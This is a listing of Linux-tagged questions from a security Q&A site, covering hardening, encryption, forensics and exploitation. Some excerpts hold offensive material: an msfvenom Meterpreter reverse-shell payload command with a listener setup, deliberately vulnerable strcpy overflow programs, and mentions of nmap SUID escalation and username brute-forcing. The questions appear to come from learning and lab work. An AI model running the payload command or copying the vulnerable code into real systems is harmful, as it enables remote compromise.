Questions tagged [linux]
Securing Linux systems and applications; understanding Linux security features.
1
vote
0answers
31 views
What are the security implications of capabilities in Kubernetes pods?
We have a Kubernetes deployment with an application that need to be on a VPN. We implement this requirement by running openvpn-client in a sidecar container within the pod with elevated capabilities:
...
0
votes
0answers
35 views
Whonix on Linux Server? [migrated]
I'm thrilled with the Whonix solution. But I don't like to have all data close to me. I would like to connect to a linux server with desktop interface. On this I would like to be able to work without ...
0
votes
0answers
32 views
Is Opal-based full disk encryption fully working for Linux?
I'd like to know whether I can realistically use hardware based full disk encryption with Linux, both at start-up after putting the computer to sleep.
Ideally I would like it to just work, regardless ...
0
votes
1answer
38 views
Connection changes after waking from sleep
On Debian, Linux, I am using netstat to monitor connections. After waking my system from sleep, I noticed a change in one of the connections, using port 6667 for irssi (identified by PID).
I like to ...
0
votes
0answers
23 views
Will ret2plt technique, where libc address is leaked by e.g. puts, not fail if the .got entry contains 0-bytes?
In the ret2plt technique, puts is used to e.g. output its own .got entry after it has been resolved.
But won't this technique fail if e.g. the .got entry stores the address 0xffff00ff?
In this case,...
1
vote
2answers
87 views
Is it ok to allow a web application to write its own executable files?
Usually I setup my Ubuntu server to have at least 2 users:
A user behalf which the web server (Apache or Nginx) runs, e.g. www-data in group www-data
A user that updates and maintains the web ...
1
vote
1answer
64 views
Simple buffer overflow trying to leak address of system()
Code:
#include <string.h>
void vuln(char *arg) {
char buffer[10];
strcpy(buffer, arg);
}
int main( int argc, char** argv ) {
vuln(argv[1]);
return 0;
}
I've determined I ...
1
vote
0answers
30 views
Basic buffer overflow able to overwrite EIP but doesn't correctly overwrite when using memory address
I wrote a basic vulnerable app in C.
#include
void vuln(char *arg) {
char buffer[10];
strcpy(buffer, arg);
}
int main( int argc, char** argv ) {
vuln(argv[1]);
return 0;
}
I ...
39
votes
8answers
10k views
How can I prevent a user from copying files to another hard drive?
I have a Linux machine that contains sensitive files. Users should be able to access (read) them when they are using the computer, but should not be able to copy them to another hard drive (USB stick ...
0
votes
1answer
44 views
SSH Timed out problem [closed]
I can't connect to my kali linux ssh server running in Virtualbox through puTTY. I didn't make any changes to /etc/ssh/sshd_config file, besides Port and PermitRootLogin
That's how i booted up my ssh ...
0
votes
1answer
120 views
Why isn't free software signed with self-signed certificates? [duplicate]
A majority of free software (in particular, Linux ports for Windows) are not signed.
As I understand it, it is quite easy to create a self-signed CA, and sign the software. Distribution would be ...
0
votes
0answers
57 views
How safe is it to enable unprivileged user namespace: unprivileged_userns_clone
Linux user namespaces are special, as they play the role of the owner of the other namespaces.
Distributions (Debian, Ubuntu, Arch, ...) seem to ship with unprivileged user namespaces disabled.
For ...
22
votes
1answer
3k views
Does a single fopen introduce TOCTOU vulnerability?
I'm actually fixing driver under Linux.
Klokwork said that code like:
file = fopen(fileName, "w+"); // w+,r,a and any mix of those is used here
if (file != NULL) { /* do things*/ }
else { /* throw ...
1
vote
1answer
98 views
Is double encrypting with AES safe?
Is it safe to encrypt twice with AES, with any mode? Are any combinations of AES, e.g. AES with XTS and AES with CBC, or twice with AES and XTS, more unsafe than just having it encrypted once?
I know ...
0
votes
0answers
47 views
Can script steal sensitive data in home directory on Linux and is SELinux optimal way/tool to prevent it
The premise: on a Linux workstation I regularly download and use various software, let's say Perl or Nodejs modules. When I use them they run on the machine with me as the owner and can do whatever I ...
32
votes
2answers
4k views
Ability To Change Root User Password (Vulnerability?)
I am studying for my RHCSA exam, and one of the topics is the ability to "change a forgotten root user password." This is an official exam objective and even has official Redhat documentation.
How ...
0
votes
0answers
4 views
VMWare Parrot kernel failure [migrated]
I am using Windows 10 and I enabled the vt-x option from my bios and I have installed Windows 7 on VMWare WS 10 and it just worked fine. But when I try to install Parrot Linux by choosing install ...
1
vote
0answers
34 views
An unknown domain serving contents of my sites [migrated]
I found that an unknown domain like www.aaa.com serving exactly the same contents (html, js ,css, any asset) of my site: myname.me.
And the API as well, for example, www.aaa.com/api/user get the ...
3
votes
1answer
161 views
Do I need microcode update if I update Kernel?
There is a CPU vulnerability Microarchitectural Fill Buffer Data Sampling.
I use a Linux OS and I think to fix Microarchitectural Fill Buffer Data Sampling you need to update intel microcode or ...
33
votes
2answers
9k views
Is having a hidden directory under /etc safe?
On Debian 9, installing default-jre creates a hidden directory /etc/.java. This is flagged as a warning while I run rkhunter. Looking up online, I found an old bug report against Debian. The bug was ...
34
votes
2answers
8k views
Why is there a need to modify system call tables in Linux?
I have been learning about rootkits recently and have noticed this hooking techniques that kernel-land rootkits use in order perform malicious actions.
Where a typical hooking operation would be to ...
0
votes
1answer
57 views
How and why is executable stack dangerous?
I'm currently using nested functions (which is extensions to C in GCC), however that is not supported (and is not planned to be supported) in clang. Mostly on the grounds that executable stack is ...
1
vote
2answers
97 views
Is an encrypted private key which never leaves my home directory more secure than an unencrypted one?
On a Linux system I'm running an utility like this:
$ /usr/bin/myapp myprivatekey
Enter passphrase for the private key:...
...application runs and uses the private key
My understanding is that if I ...
1
vote
1answer
115 views
Honeypot for Linux user
Let's consider the following scenario:
You have a web -facing server, which runs software e.g. apache2 on separate Linux user www-data. An attacker finds a vulnerability and gets a remote shell on ...
1
vote
0answers
99 views
How to stop logging for a specific user?
I'm a root user on my server. There are a bunch of users on my system.
As you know, when you type w you can see who is and who isn't online. With the last command you can check last users who were ...
0
votes
0answers
27 views
What is wrong with this ettercap dump file?
I am trying to read a dump file which is created with ettercap. But when I am trying to read it with ettercap it is saying:
Error while capturing: bogus savefile header
And I can't read the file with ...
2
votes
2answers
152 views
Difference between linux capabities and seccomp
I know seccomp (secure computing) is a way to restrict a process from making particular system calls.
While linux capabilities provides a way to give privileges to spcific user or process.
So if I ...
0
votes
0answers
37 views
Executable reverse shell payload won't execute on linux machine
Payload: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.222 LPORT=443 -f elf > hack.elf
Listener/Handler :exploit/multi/handler;set PAYLOAD linux/x86/shell/reverse_tcp;
So after ...
2
votes
0answers
84 views
Sniffing TCP packets using Wireshark
I am trying to reverse engineer a decoder. To do so I need to sniff the packets that the decoder receives from an Android application installed on my phone, this application is what controls the ...
0
votes
1answer
80 views
Are old, unused Java SE JRE files insecure?
We have an agent application deployed to some internal web servers that runs on java, and installs a specific JRE to use. The agent updates regularly and installs updated JRE versions to use, but ...
5
votes
1answer
95 views
How can a bad process obtain root by waiting for a user to run a command as sudo?
A comment on this answer states:
The whole linux desktop provides very little protection against bad processes running as the user. A bad process could just watch the keyboard input and wait for ...
1
vote
2answers
111 views
Are Printers running Linux 2.6 something to be concerned about?
Our office has a number of printers which, according to nmap are running Linux 2.6.X with a whole bunch of open ports 80
4
votes
2answers
211 views
What does enabling kernel.unprivileged_userns_clone do?
This message was sent to my websocket:
echo kernel.unprivileged_userns_clone = 1 | sudo tee /etc/sysctl.d/00-local-userns.conf
Is it dangerous, and what would it do?
Thanks for your feedback ...
1
vote
0answers
40 views
Software mitigation for variant 3a (rogue system register read) and variant 4 (speculative store bypass)
AFAIK, all mitigable meltdown / spectre variants have software mitigation except for variant 3a and 4. Why is this the case?
For variant 4, a straightforward software mitigation is to place lfence ...
1
vote
1answer
197 views
nmap privilege escalation - is still a risk?
There is a known and popular technique to leverage nmap for privilege escalation if the suid bit is set for nmap.
One can execute nmap in interactive mode and from there execute bash commands in the ...
0
votes
2answers
176 views
How to brute force only username not password?
I want to find the username first, then pass the username and a password list. I could not find flags to ignore password in Ncrack and other related tools. The device I want to find a username is ...
0
votes
1answer
53 views
Risk associated with problematic linux permissions on files and libraries
I started tweaking my linux system a while ago, before I understood the security risks related to having files with problematic permissions, such as 777.
I wanted to check if I had left some ...
0
votes
1answer
71 views
Is it possible to securely run user defined python code in AWS?
I would like to create an app that accepts users python scripts and executes them as part of its functionality. What I am wondering is if its possible to block I/O, network and other attack vectors so ...
1
vote
0answers
60 views
Is there a way to get a forensic image of EC2 instance [closed]
I currently have an instance on AWS which was compromised and resulted in me losing control. I have shutdown the instance since then, but require a forensic image of the volume so that I can analyze ...
0
votes
0answers
27 views
Linux Kernel exploitation via MSFconsole
I am running a server with the service linux kernel to practice pentesting with metasploit.
I am trying to use CVE-2019-10124 to take it down, however I don't really know how to.
I am aware that ...
0
votes
2answers
68 views
How can I check what scripts are in Nmap's default category (`--script=default`)?
I know that the -sC and -A options run the "default" category of scripts (--script=default):
https://nmap.org/book/nse-usage.html
I've searched the nmap script folder for a default sub-folder, but ...
1
vote
1answer
82 views
GnuPG can see a card under root user, but not under normal user
When under an unprivileged user:
$ gpg --card-status
gpg: selecting openpgp failed: No such device
gpg: OpenPGP card not available: No such device
With sudo or under a root user:
$ sudo gpg --card-...
1
vote
1answer
98 views
Linux forensics- How can I extract sysfs procfs from a raw image?
I'm developing a software that extracts files from a Linux raw image (dd).
I use SluethKit to get the partitions & files, however i can't find any files inside /sys & /proc folders.
I know ...
1
vote
1answer
116 views
Enterprise Standard for Linux server Penetration Testing
Is there any enterprise or global standard like "OWASP" which can be followed while doing penetration testing on Linux servers?
I want to know if there are any most common/important vulnerabilities ...
3
votes
1answer
150 views
Are there any known viruses/malware that can infect Ubuntu that come from the USB?
I know that most viruses that can infect the OS from having an infected USB inserted into the PC are mostly Windows only, but is there any possibility that there is one that can affect Ubuntu as well?
2
votes
1answer
155 views
Cannot exploit stack-based buffer overflow with ASLR-disabled, since RSP differs heavily between executions?
I have made a little toy program, compiled with ALSR disabled, that I want to exploit using stack-based buffer overflow:
// gcc stackexec0x1.c -Wl,-z,execstack -no-pie -fno-stack-protector -o ...
6
votes
2answers
268 views
Bash function manipulation explained
I was recently reading through a write up on a capture the flag Linux VulnHub machine. For privilege escalation, the author references 'bash function manipulation'. A Google search turns up very ...
1
vote
1answer
739 views
ShadowHammer: Limited to Windows?
I've been reading about ShadowHammer over the last couple of days:
Kaspersky researchers estimated half a million Windows machines received the malicious backdoor via ASUS' update server. But the ...
3
votes
1answer
95 views
When accepting an SSL certificate, can I limit for which domains I accept it?
Many organizations (e.g. companies, universities, ...) have internal sites and services for which they use SSL certificates issued by an internal CA, that isn't trusted by browsers or operating ...
1
vote
0answers
69 views
How to architect a Linux application so that it can use a passphrase that is inaccessible to its users?
The Linux application under consideration is one that will be used by multiple employees of a company, and which, in order to carry out some of its functions, must be able to access a secret ...
